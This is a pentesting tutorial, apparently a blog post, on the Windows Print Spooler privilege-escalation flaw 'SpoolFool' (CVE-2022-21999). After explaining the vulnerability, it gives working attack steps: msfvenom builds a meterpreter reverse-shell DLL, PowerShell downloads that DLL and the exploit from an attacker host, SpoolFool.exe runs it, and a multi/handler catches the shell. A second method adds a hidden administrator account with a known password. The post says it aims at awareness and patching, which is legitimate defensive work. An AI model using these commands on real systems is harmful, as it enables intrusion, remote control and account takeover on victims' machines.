How to execute Windows Privilege Escalation: SpoolFool

Windows Privilege Escalation: SpoolFool

Introduction

Related advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999

Related CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048

Summary of the Vulnerability

The vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring the SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE the right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform tasks such as DLL injection.

Print Spooler Basics

Print spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:

Application: The print application creates a print job by calling Graphics Device Interface (GDI).

GDI: GDI includes both user-mode and kernel-mode components for graphics support.

winspool.drv is the interface that talks to the spooler. It provides the RPC stubs required to access the server.

spoolsv.exe is the spooler’s API server. This module implements message routing to print provider with the help of router (spoolss.dll)

spoolss.dll determines which print provider to call, based on a printer name and passes function call to the correct provider.

Spool Directory

When a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\Windows\System32\spool\PRINTERS. This directory is by default writeable by everyone as everyone uses the printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.

Workflow of the CVE 2020-1030

I would highly recommend reading Victor Mata’s post here before trying to demonstrate the vulnerability yourself. But for people who don’t like to get into too much technicality, here is a summary of how the vulnerability shall be exploited.

Default Printer Permissions
  • By default, users can add printers without administrator authentication needed.
  • Calling AddPrinter returns a printer handle (I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations.

  • However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTER right to the server on which the printer is to be created.
  • An unprivileged user will not have these rights and hence, can’t add a new printer with PRINTER_ALL_ACCESS right.
The Role of the INTERACTIVE Group
  • The “INTERACTIVE” group has the manage server permissions enabled which correspond to

  • The INTERACTIVE group has manage server permissions enabled, which allows its members to add a printer with SERVER_ACCESS_ADMINISTER rights.
    • INTERACTIVE GROUP: SID S-1-5-4 NT Authority\Interactive is a system group that gets automatically added when a user logs on to the system locally or via RDP. Removing this group would mean restricting logging access in older systems, however, in newer Windows, it gets re-added on restart. In short, it symbolizes an actual physical user that is interacting with the machine. This group is absent on Active Directory systems as permissions are only managed by DC in such environments.
    • Therefore, the attack was not found to be working with service accounts (like IIS or MSSQL$)
  • Thus, if the user running the exploit is a member of INTERACTIVE, AddPrinter will return a handle with PRINTER_ALL_ACCESS rights. This handle can be used to modify the spool directory.
Modifying the Spool Directory

In C#, SetPrinterDataEx function can modify spool directory. Here, we are creating a directory C:\Windows\System32\spool\drivers\x64\4
To create this spool, we have the necessary rights PRINTER_ALL_ACCESS (returned to the handle hPrinter)

As you can see the intended directory in the pszData variable doesn’t exist already.

  • Re-initialize the print spooler service by calling AppVTerminator.dll
  • Spool Directory C:\Windows\System32\spool\drivers\x64 created with write permissions to EVERYONE.
  • A malicious DLL is created and loaded in that directory. It gets validated and CopyFiles\\ will trigger that DLL and load it into the printer process (spoolsv.exe)

Diagramatic Workflow of CVE 2020-1030

It could be understood in simpler terms like this:

Incoming CVE 2022-21999

After the issue was patched by Microsoft, Oliver Lyak in his post here mentions Microsoft’s patches and how he circumvented them. Thus, he proposed the following two enhancements for this vulnerability patch and was assigned CVE 2022-21999:

  1. He states that a user not in the INTERACTIVE group can still add a remote printer and gain PRINTER_ACCESS_ADMINISTER rights.

If a user adds a remote printer, the printer will inherit the security properties of the shared printer from the printer server. As such, if the remote printer server allows EVERYONE to manage the printer, then it’s possible to obtain a handle to the printer with the PRINTER_ACCESS_ADMINISTER access right, and SetPrinterDataEx would update the local registry as usual”

  1. Microsoft added directory creation/access validation on the user level to restrict the creation of spool directories. So, in his exploit, he used reparse Basically, the following things happen:
  • We create a temporary directory (C:\TEMP\xyzxyzxyz) and set it as SpoolDirectory
  • The validation set by Microsoft gets passed and SpoolDirectory is set to this temporary directory.
  • Configure this temporary directory as a reparse point which points to C: \Windows\System32\spool\drivers\x64\
  • SetPrinterDataEx is called with CopyFiles and DLL in this directory gets automatically loaded into the process spoolsv.exe

Why only C:\Windows\System32\spool\drivers\x64 ? => This is the printer driver directory. Point and Print is a printer sharing technology designed for driver distribution. In Point and Print, installation is extendable with a custom Point and Print DLL.

When CopyFiles\\ is used with SetPrinterDataEx, it initiates a sequence of Point and Print. If the directory specified is a Printer Driver Directory, Point and Print is triggered and the DLL placed in this is loaded to the existing process spoolsv.exe

Demonstration – Method 1

For the demonstration, we will use the original PoC created by Oliver Lyak which could be downloaded from here.

git clone https://github.com/ly4k/SpoolFool
cd SpoolFool
ls

As you may observe, the PoC comes with an EXE file and a pre-made DLL payload.

First, we compromise the system and gain a reverse shell. As you can see, a user hex has been compromised and NT AUTHORITY\INTERACTIVE exists on the system. If hex has a local account (not applicable on domain accounts), he is by default a member of this group.

whoami /user /groups

Now, we shall create our own custom DLL first using msfvenom. I’m using a meterpreter injection as payload but the choices are numerous.

msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST=192.168.0.20 LPORT=9501 > reverse_64bit.dll

We just need to upload this on our victim machine. I recommend C:\Users\Public. You can start a python server and host SpoolFool.exe and reverse_64bit.dll files in the same location. This can be done using powershell module IWR

powershell -c iwr http://192.168.0.20/reverse_64bit.dll -outf \Users\Public\reverse.dll
powershell -c iwr http://192.168.0.20/SpoolFool.exe -outf \Users\Public\SpoolFool.exe

Now, we can run the exploit and load this DLL with the following command. Before running it, make sure to set up multi/handler in msfconsole.

SpoolFool.exe -dll reverse.dll

Observe here, how a directory has been made in %temp%\d5f5….{random name} and a reparse point has been created to write into our desired print driver directory C:\Windows\system32\spool\DRIVERS\x64\4

The directory didn’t exist before, but now you can see, it exists and the DLL has been saved in here. Which means success! The directory is also writable by everyone.

Anyhow, the DLL is now loaded and we have received a reverse shell!

msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.20
set LPORT 9501
run

We can check the current user’s permissions and as you can see, privileges have been escalated!

Demonstration – Method 2

Author has already created a DLL called AddUser.dll in the project directory that would allow us to add a new user called “admin” with Administrator privileges and the default password “Passw0rd!”

Let’s compromise our victim again and see his own membership.

whoami
net user hex

Hex user doesn’t have administrator access. Now, we run the SpoolFool.exe exploit again but include this DLL this time.

SpoolFool.exe -dll Adduser.dll

Now, upon checking users, we can see an admin user has been added who is a part of Administrators!

net user
net user admin

We can now use these credentials to do a number of things! For example, we can login using psexec, or login via RDP, among other options. I also tried a simple smbclient shell to check the validity of the credentials. As you can see, privileges have escalated, and we can now interact with the victim as an admin!

Patch Status

As per the author: A quick check with Process Monitor reveals that the Spool Directory is no longer created when the Spooler initializes. If the directory does not exist, the Print Spooler falls back to the default spool directory.

Conclusion

Windows privilege escalation has always been tricky from a pentester’s point of view. However, Print Spool exploits have successfully debunked that notion. Notably, the arbitrary file writing vulnerability has been marked as SEVERE by the Microsoft MSRC bulletin because of how easily it can be exploited to escalate privileges. Through this article, we aim to spread awareness among analysts and encourage them to update their patches in a timely manner. I hope you found the article helpful. Thanks for reading, and feel free to connect with me on LinkedIn if you have any queries.